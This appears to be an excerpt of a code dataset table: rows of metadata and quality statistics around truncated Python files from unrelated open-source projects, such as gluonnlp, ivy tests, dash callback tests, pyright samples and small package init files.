# Initial development funded by the European Earth ... | 37.013801 | 384 | 0.631912 | 15,486 | 134,101 | 5.270373 | 0.051466 | 0.029602 | 0.046314 | 0.060282 | 0.851526 | 0.821679 | 0.775255 | 0.741022 | 0.700871 | 0.673156 | 0 | 0.010157 | 0.207851 | 134,101 | 3,622 | 385 | 37.02402 | 0.758162 | 0.05167 | 0 | 0.697917 | 0 | 0.009058 | 0.342601 | 0.209282 | 0 | 0 | 0 | 0 | 0 | 1 | 0.022645 | false | 0.000453 | 0.004529 | 0 | 0.185688 | 0.057518 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
40fc2ca085c353f5f1788267af33a746b1689dc0 | 28,497 | py | Python | src/gluonnlp/model/sampled_block.py | yifeim/gluon-nlp | ea30d3399d87404b731d513535af9a31a5672799 | [
"Apache-2.0"
] | null | null | null | src/gluonnlp/model/sampled_block.py | yifeim/gluon-nlp | ea30d3399d87404b731d513535af9a31a5672799 | [
"Apache-2.0"
] | null | null | null | src/gluonnlp/model/sampled_block.py | yifeim/gluon-nlp | ea30d3399d87404b731d513535af9a31a5672799 | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License... | 42.788288 | 98 | 0.638172 | 3,432 | 28,497 | 5.087413 | 0.094114 | 0.030928 | 0.042383 | 0.01764 | 0.843242 | 0.832245 | 0.822738 | 0.813918 | 0.813288 | 0.789404 | 0 | 0.004125 | 0.276836 | 28,497 | 665 | 99 | 42.852632 | 0.843119 | 0.603397 | 0 | 0.437909 | 0 | 0 | 0.037819 | 0.002267 | 0 | 0 | 0 | 0 | 0 | 1 | 0.084967 | false | 0 | 0.013072 | 0 | 0.183007 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
dc19f6c887f63993880fb77f67e7c1708b0af999 | 26 | py | Python | terrascript/bitbucket/__init__.py | GarnerCorp/python-terrascript | ec6c2d9114dcd3cb955dd46069f8ba487e320a8c | [
"BSD-2-Clause"
] | null | null | null | terrascript/bitbucket/__init__.py | GarnerCorp/python-terrascript | ec6c2d9114dcd3cb955dd46069f8ba487e320a8c | [
"BSD-2-Clause"
] | null | null | null | terrascript/bitbucket/__init__.py | GarnerCorp/python-terrascript | ec6c2d9114dcd3cb955dd46069f8ba487e320a8c | [
"BSD-2-Clause"
] | 1 | 2018-11-15T16:23:05.000Z | 2018-11-15T16:23:05.000Z | """2019-05-28 10:49:00"""
| 13 | 25 | 0.538462 | 6 | 26 | 2.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.583333 | 0.076923 | 26 | 1 | 26 | 26 | 0 | 0.730769 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
906ea496d05c4d015b4472be5c5cbd01936ed8d8 | 328 | py | Python | tithif/temp.py | herambchaudhari4121/tithif | 98e85ea415ef850326fb156c783abfd0ffdec008 | [
"MIT"
] | null | null | null | tithif/temp.py | herambchaudhari4121/tithif | 98e85ea415ef850326fb156c783abfd0ffdec008 | [
"MIT"
] | null | null | null | tithif/temp.py | herambchaudhari4121/tithif | 98e85ea415ef850326fb156c783abfd0ffdec008 | [
"MIT"
] | null | null | null | from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
driver = webdriver.Chrome()
driver.get('https://www.facebook.com/')
print("... | 32.8 | 64 | 0.823171 | 45 | 328 | 5.977778 | 0.511111 | 0.223048 | 0.312268 | 0.200743 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.085366 | 328 | 9 | 65 | 36.444444 | 0.896667 | 0 | 0 | 0 | 0 | 0 | 0.091463 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.625 | 0 | 0.625 | 0.125 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
907b2b045d5d7bf7dfb0167f54c42a031e2b3ec1 | 47 | py | Python | csrv/model/cards/__init__.py | mrroach/CentralServer | e377c65d8f3adf5a2d3273acd4f459be697aea56 | [
"Apache-2.0"
] | null | null | null | csrv/model/cards/__init__.py | mrroach/CentralServer | e377c65d8f3adf5a2d3273acd4f459be697aea56 | [
"Apache-2.0"
] | null | null | null | csrv/model/cards/__init__.py | mrroach/CentralServer | e377c65d8f3adf5a2d3273acd4f459be697aea56 | [
"Apache-2.0"
] | 1 | 2020-09-20T11:26:20.000Z | 2020-09-20T11:26:20.000Z | from csrv.model.cards.registry import Registry
| 23.5 | 46 | 0.851064 | 7 | 47 | 5.714286 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.085106 | 47 | 1 | 47 | 47 | 0.930233 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
90add6b8ca05b279df2e802ba8d8da8849866681 | 2,935 | py | Python | env/lib/python3.6/site-packages/odf/chart.py | anthowen/duplify | 846d01c1b21230937fdf0281b0cf8c0b08a8c24e | [
"MIT"
] | 5,079 | 2015-01-01T03:39:46.000Z | 2022-03-31T07:38:22.000Z | env/lib/python3.6/site-packages/odf/chart.py | anthowen/duplify | 846d01c1b21230937fdf0281b0cf8c0b08a8c24e | [
"MIT"
] | 1,623 | 2015-01-01T08:06:24.000Z | 2022-03-30T19:48:52.000Z | env/lib/python3.6/site-packages/odf/chart.py | anthowen/duplify | 846d01c1b21230937fdf0281b0cf8c0b08a8c24e | [
"MIT"
] | 2,033 | 2015-01-04T07:18:02.000Z | 2022-03-28T19:55:47.000Z | # -*- coding: utf-8 -*-
# Copyright (C) 2006-2013 Søren Roug, European Environment Agency
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at you... | 30.257732 | 80 | 0.689949 | 379 | 2,935 | 5.329815 | 0.385224 | 0.118812 | 0.20198 | 0.261386 | 0.405446 | 0.132673 | 0.033663 | 0 | 0 | 0 | 0 | 0.008867 | 0.154685 | 2,935 | 96 | 81 | 30.572917 | 0.80532 | 0.278365 | 0 | 0 | 0 | 0 | 0.10687 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.470588 | true | 0 | 0.058824 | 0.470588 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
90ed225fe6f8f5e5fbfe8863daf003a64ae073bd | 206 | py | Python | tests/helpers.py | mholdg16/py-mdptools | ae986edc2097e97cb73331d66f0051ca9f5bd15c | [
"MIT"
] | 1 | 2021-12-15T13:22:48.000Z | 2021-12-15T13:22:48.000Z | tests/helpers.py | mholdg16/py-mdptools | ae986edc2097e97cb73331d66f0051ca9f5bd15c | [
"MIT"
] | 2 | 2021-11-09T23:43:48.000Z | 2021-11-13T20:41:12.000Z | tests/helpers.py | mholdg16/py-mdptools | ae986edc2097e97cb73331d66f0051ca9f5bd15c | [
"MIT"
] | null | null | null | """ Test helpers
"""
from mdptools import MarkovDecisionProcess
from mdptools.types import ErrorCode
def error_code(errors: list[tuple[ErrorCode, str]], idx: int = 0) -> int:
return errors[idx][0][0]
| 22.888889 | 73 | 0.723301 | 28 | 206 | 5.285714 | 0.678571 | 0.162162 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.017045 | 0.145631 | 206 | 8 | 74 | 25.75 | 0.823864 | 0.058252 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.5 | 0.25 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 6 |
90f5641eaf3acc303999036509b6e06eeaf935e7 | 67 | py | Python | framework/plugins/__init__.py | biocore/metoo | bb05a0d552225c3a278f1fea4d33ff92ced6d02c | [
"BSD-3-Clause"
] | null | null | null | framework/plugins/__init__.py | biocore/metoo | bb05a0d552225c3a278f1fea4d33ff92ced6d02c | [
"BSD-3-Clause"
] | null | null | null | framework/plugins/__init__.py | biocore/metoo | bb05a0d552225c3a278f1fea4d33ff92ced6d02c | [
"BSD-3-Clause"
] | null | null | null | from importlib import import_module
import_module('qiime_plugin')
| 16.75 | 35 | 0.850746 | 9 | 67 | 6 | 0.666667 | 0.444444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.089552 | 67 | 3 | 36 | 22.333333 | 0.885246 | 0 | 0 | 0 | 0 | 0 | 0.179104 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
466b1e2473eb2fb6ea62a88e992e5a0fe72453c8 | 17 | py | Python | bigcommerce/resources/__init__.py | aglensmith/bigcommerce-api-python | 2f83ae30dbaa3cd9b7d465e40df2862a7f13795c | [
"MIT"
] | null | null | null | bigcommerce/resources/__init__.py | aglensmith/bigcommerce-api-python | 2f83ae30dbaa3cd9b7d465e40df2862a7f13795c | [
"MIT"
] | null | null | null | bigcommerce/resources/__init__.py | aglensmith/bigcommerce-api-python | 2f83ae30dbaa3cd9b7d465e40df2862a7f13795c | [
"MIT"
] | null | null | null | from .v2 import * | 17 | 17 | 0.705882 | 3 | 17 | 4 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.071429 | 0.176471 | 17 | 1 | 17 | 17 | 0.785714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
467a88e12fdfa39784c70c2617c042a2b20b6dd3 | 140 | py | Python | src/pywavelet/__init__.py | wangsen992/pywavelet | 013c7e2f8021361f5b7459881ff622c85db25a9e | [
"MIT"
] | null | null | null | src/pywavelet/__init__.py | wangsen992/pywavelet | 013c7e2f8021361f5b7459881ff622c85db25a9e | [
"MIT"
] | 2 | 2020-05-11T03:31:26.000Z | 2020-12-23T03:52:04.000Z | src/pywavelet/__init__.py | wangsen992/pywavelet | 013c7e2f8021361f5b7459881ff622c85db25a9e | [
"MIT"
] | null | null | null | # -*- coding:utf-8 -*-
"""
Created on Sun Mar 29 2020
@author: Sen Wang
"""
from . import wavelets
from . import cwt
from . import plotter
| 14 | 26 | 0.657143 | 21 | 140 | 4.380952 | 0.809524 | 0.326087 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.0625 | 0.2 | 140 | 9 | 27 | 15.555556 | 0.758929 | 0.478571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
46a1ccf55c1798acd77534411f591d5198c479ce | 120 | py | Python | Exercicios Curso Em Video Mundo 3/Exe_097.py | JorgeTranin/Python_Curso_Em_Video | be74c9301aafc055bdf883be649cb8b7716617e3 | [
"MIT"
] | null | null | null | Exercicios Curso Em Video Mundo 3/Exe_097.py | JorgeTranin/Python_Curso_Em_Video | be74c9301aafc055bdf883be649cb8b7716617e3 | [
"MIT"
] | null | null | null | Exercicios Curso Em Video Mundo 3/Exe_097.py | JorgeTranin/Python_Curso_Em_Video | be74c9301aafc055bdf883be649cb8b7716617e3 | [
"MIT"
] | null | null | null | def escreva(msg):
print('^' * (len(msg) + 4))
print(f' {msg}')
print('^' * (len(msg) + 4))
escreva('oii') | 17.142857 | 31 | 0.466667 | 16 | 120 | 3.5 | 0.5 | 0.285714 | 0.392857 | 0.5 | 0.535714 | 0 | 0 | 0 | 0 | 0 | 0 | 0.021978 | 0.241667 | 120 | 7 | 32 | 17.142857 | 0.593407 | 0 | 0 | 0.4 | 0 | 0 | 0.099174 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0 | 0 | 0.2 | 0.6 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
d3b8314ff6927fcd16679838e649a49cb05f4245 | 5,169 | py | Python | ivy_tests/test_ivy/test_functional/test_core/test_creation.py | saeedashrraf/ivy | ad57c359a11459d68965d9044a76ea30e175bf16 | [
"Apache-2.0"
] | 1 | 2022-03-10T00:43:53.000Z | 2022-03-10T00:43:53.000Z | ivy_tests/test_ivy/test_functional/test_core/test_creation.py | Ahmed-Yahia-cs/ivy | 33f1ab8e63a99bebd583ab8903dc0a2c4a660861 | [
"Apache-2.0"
] | null | null | null | ivy_tests/test_ivy/test_functional/test_core/test_creation.py | Ahmed-Yahia-cs/ivy | 33f1ab8e63a99bebd583ab8903dc0a2c4a660861 | [
"Apache-2.0"
] | 1 | 2022-03-17T00:22:36.000Z | 2022-03-17T00:22:36.000Z | """Collection of tests for creation functions."""
# global
import numpy as np
import pytest
from numbers import Number
from hypothesis import given, strategies as st
# local
import ivy
import ivy_tests.test_ivy.helpers as helpers
import ivy.functional.backends.numpy as ivy_np
# array
@given(
dtype_and_x=helpers... | 30.22807 | 86 | 0.640549 | 749 | 5,169 | 4.22964 | 0.166889 | 0.030303 | 0.032828 | 0.028409 | 0.849116 | 0.844066 | 0.844066 | 0.831439 | 0.813763 | 0.735795 | 0 | 0.036241 | 0.225962 | 5,169 | 170 | 87 | 30.405882 | 0.755561 | 0.148578 | 0 | 0.607477 | 0 | 0 | 0.035673 | 0.013119 | 0 | 0 | 0 | 0 | 0.11215 | 1 | 0.037383 | false | 0 | 0.065421 | 0 | 0.158879 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
d3b8fa30a4558392824ef5815685fc1f213968f4 | 41 | py | Python | src/plugins/tracking_history/__init__.py | Radega1993/tasker | 34ec6479e8485a10d1d89b688f22aafd7d518a62 | [
"MIT"
] | 1 | 2020-07-01T19:35:29.000Z | 2020-07-01T19:35:29.000Z | src/plugins/tracking_history/__init__.py | Radega1993/tasker | 34ec6479e8485a10d1d89b688f22aafd7d518a62 | [
"MIT"
] | null | null | null | src/plugins/tracking_history/__init__.py | Radega1993/tasker | 34ec6479e8485a10d1d89b688f22aafd7d518a62 | [
"MIT"
] | null | null | null | from .trackhistory import TrackingHistory | 41 | 41 | 0.902439 | 4 | 41 | 9.25 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.073171 | 41 | 1 | 41 | 41 | 0.973684 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
d3d7ddb1692f60c752b9351bde8b762dd56c4c6b | 896 | py | Python | packages/pyright-internal/src/tests/samples/forLoop2.py | sasano8/pyright | e804f324ee5dbd25fd37a258791b3fd944addecd | [
"MIT"
] | 4,391 | 2019-05-07T01:18:57.000Z | 2022-03-31T20:45:44.000Z | packages/pyright-internal/src/tests/samples/forLoop2.py | sasano8/pyright | e804f324ee5dbd25fd37a258791b3fd944addecd | [
"MIT"
] | 2,740 | 2019-05-07T03:29:30.000Z | 2022-03-31T12:57:46.000Z | packages/pyright-internal/src/tests/samples/forLoop2.py | sasano8/pyright | e804f324ee5dbd25fd37a258791b3fd944addecd | [
"MIT"
] | 455 | 2019-05-07T12:55:14.000Z | 2022-03-31T17:09:15.000Z | # This sample tests for/else loops for cases where variables
# are potentially unbound.
# For with no break and no else.
def func1():
for x in []:
a = 0
# This should generate a "potentially unbound" error.
print(a)
# This should generate a "potentially unbound" error.
print(x)
# For w... | 18.285714 | 60 | 0.602679 | 124 | 896 | 4.354839 | 0.233871 | 0.266667 | 0.233333 | 0.246296 | 0.775926 | 0.683333 | 0.683333 | 0.683333 | 0.683333 | 0.683333 | 0 | 0.012924 | 0.309152 | 896 | 48 | 61 | 18.666667 | 0.859451 | 0.592634 | 0 | 0.818182 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.136364 | false | 0 | 0 | 0 | 0.136364 | 0.363636 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
315d4ecb38bf33b7c1331d69e086fca1574f3726 | 16,931 | py | Python | tests/dj_project/tests/integration/callbacks/test_missing_inputs.py | pikhovkin/dj-plotly-dash | eed3ced1e652510e39d1aeec4e2703ed21e9f752 | [
"MIT"
] | 39 | 2018-10-07T23:44:51.000Z | 2022-02-16T18:16:40.000Z | tests/dj_project/tests/integration/callbacks/test_missing_inputs.py | pikhovkin/dj-plotly-dash | eed3ced1e652510e39d1aeec4e2703ed21e9f752 | [
"MIT"
] | 66 | 2018-10-07T16:57:25.000Z | 2022-03-17T18:29:47.000Z | tests/dj_project/tests/integration/callbacks/test_missing_inputs.py | pikhovkin/dj-plotly-dash | eed3ced1e652510e39d1aeec4e2703ed21e9f752 | [
"MIT"
] | 7 | 2019-02-13T14:54:18.000Z | 2022-02-15T20:03:19.000Z | import json
import dash_html_components as html
import dash
from dash.testing import wait
from dash.dependencies import Input, Output, State, ALL, MATCH
from dash.testing.plugin import *
from .. import BaseDashView
def wait_for_queue(dash_duo):
# mostly for cases where no callbacks should fire:
# just wait un... | 32.372849 | 88 | 0.590928 | 2,321 | 16,931 | 4.118914 | 0.077553 | 0.076151 | 0.046025 | 0.058577 | 0.866318 | 0.847699 | 0.83295 | 0.817573 | 0.791213 | 0.747176 | 0 | 0.022036 | 0.238793 | 16,931 | 522 | 89 | 32.434866 | 0.719739 | 0.081035 | 0 | 0.624 | 0 | 0 | 0.175777 | 0 | 0 | 0 | 0 | 0 | 0.072 | 1 | 0.106667 | false | 0 | 0.018667 | 0.061333 | 0.253333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
31c9e301bdda8a277cada0b1d7dcfef63557512e | 219 | py | Python | devito/passes/clusters/__init__.py | tallamjr/devito | 677ea0f00809c865c54276b3f44821052913ffcf | [
"MIT"
] | 2 | 2019-04-05T20:52:23.000Z | 2019-11-03T21:36:53.000Z | devito/passes/clusters/__init__.py | tallamjr/devito | 677ea0f00809c865c54276b3f44821052913ffcf | [
"MIT"
] | 9 | 2019-06-11T20:54:19.000Z | 2020-04-06T17:56:10.000Z | devito/passes/clusters/__init__.py | vmickus/devito | 1e8d6af2cb8615e47ae20b68d5f2e30d530d03ff | [
"MIT"
] | null | null | null | from .utils import * # noqa
from .aliases import * # noqa
from .cse import * # noqa
from .factorization import * # noqa
from .extractors import * # noqa
from .rewriters import * # noqa
from .misc import * # noqa
| 27.375 | 36 | 0.680365 | 28 | 219 | 5.321429 | 0.357143 | 0.469799 | 0.563758 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.223744 | 219 | 7 | 37 | 31.285714 | 0.876471 | 0.155251 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
7307204db5618f1be8813ab749a0b6bc40f48b25 | 254 | py | Python | naver_book_crawling/forms.py | DongHyeonKim-tech/django-BookCrawling | 8499a5cd8504e1967d80f854c5e9df1e28f52653 | [
"MIT"
] | null | null | null | naver_book_crawling/forms.py | DongHyeonKim-tech/django-BookCrawling | 8499a5cd8504e1967d80f854c5e9df1e28f52653 | [
"MIT"
] | null | null | null | naver_book_crawling/forms.py | DongHyeonKim-tech/django-BookCrawling | 8499a5cd8504e1967d80f854c5e9df1e28f52653 | [
"MIT"
] | null | null | null | from django import forms
from naver_book_crawling.mixins import PopRequestMixin, CreateUpdateAjaxMixin
class BSModalForm(PopRequestMixin, forms.Form):
pass
class BSModalModelForm(PopRequestMixin, CreateUpdateAjaxMixin, forms.ModelForm):
pass
| 23.090909 | 80 | 0.830709 | 25 | 254 | 8.36 | 0.64 | 0.344498 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.11811 | 254 | 10 | 81 | 25.4 | 0.933036 | 0 | 0 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 6 |
732b0b49c0ffbcaa0fb4b7c012c85c498cb29df3 | 33 | py | Python | src/diamondquest/view/journal/__init__.py | mousepawgames/diamondquest | 0f1488cffceee04766c3d35b42806c5d54a54d1d | [
"BSD-3-Clause"
] | 2 | 2020-06-09T17:44:55.000Z | 2021-05-27T02:01:52.000Z | src/diamondquest/view/journal/__init__.py | mousepawgames/diamondquest | 0f1488cffceee04766c3d35b42806c5d54a54d1d | [
"BSD-3-Clause"
] | 10 | 2021-05-16T01:57:53.000Z | 2021-05-16T02:44:30.000Z | src/diamondquest/view/journal/__init__.py | mousepawgames/diamondquest | 0f1488cffceee04766c3d35b42806c5d54a54d1d | [
"BSD-3-Clause"
] | 4 | 2020-07-20T13:09:26.000Z | 2021-05-13T21:07:57.000Z | from .journal import JournalView
| 16.5 | 32 | 0.848485 | 4 | 33 | 7 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.121212 | 33 | 1 | 33 | 33 | 0.965517 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
7356463d216cee9b99943bf45599963e8e4889bd | 211 | py | Python | micro_kanren/everything.py | aalhour/micro_kanren.py | 4784c050ae68519806827a7b73ff58c7cfd94851 | [
"MIT"
] | 7 | 2018-01-10T04:00:13.000Z | 2021-10-13T03:06:45.000Z | micro_kanren/everything.py | aalhour/micro_kanren.py | 4784c050ae68519806827a7b73ff58c7cfd94851 | [
"MIT"
] | 3 | 2015-12-21T13:56:30.000Z | 2016-01-11T21:16:48.000Z | micro_kanren/everything.py | aalhour/micro_kanren.py | 4784c050ae68519806827a7b73ff58c7cfd94851 | [
"MIT"
] | null | null | null | '''
This is an import helper, which imports everything.
usage: from micro_kanren.everything import *
'''
import micro_kanren.peano as peano
from micro_kanren.micro import *
from micro_kanren.sequence import *
| 21.1 | 51 | 0.78673 | 30 | 211 | 5.4 | 0.5 | 0.271605 | 0.277778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.137441 | 211 | 9 | 52 | 23.444444 | 0.89011 | 0.454976 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
b406c6bf0894a926d6d363aec3664e47233766a5 | 394 | py | Python | tests/evolutionary_based/__init__.py | rishavpramanik/mealpy | d4a4d5810f15837764e4ee61517350fef3dc92b3 | [
"MIT"
] | null | null | null | tests/evolutionary_based/__init__.py | rishavpramanik/mealpy | d4a4d5810f15837764e4ee61517350fef3dc92b3 | [
"MIT"
] | null | null | null | tests/evolutionary_based/__init__.py | rishavpramanik/mealpy | d4a4d5810f15837764e4ee61517350fef3dc92b3 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# Created by "Thieu" at 08:33, 17/03/2022 ----------%
# Email: nguyenthieu2102@gmail.com %
# Github: https://github.com/thieu1995 % ... | 65.666667 | 132 | 0.253807 | 22 | 394 | 4.545455 | 0.909091 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.106383 | 0.522843 | 394 | 5 | 133 | 78.8 | 0.425532 | 0.974619 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
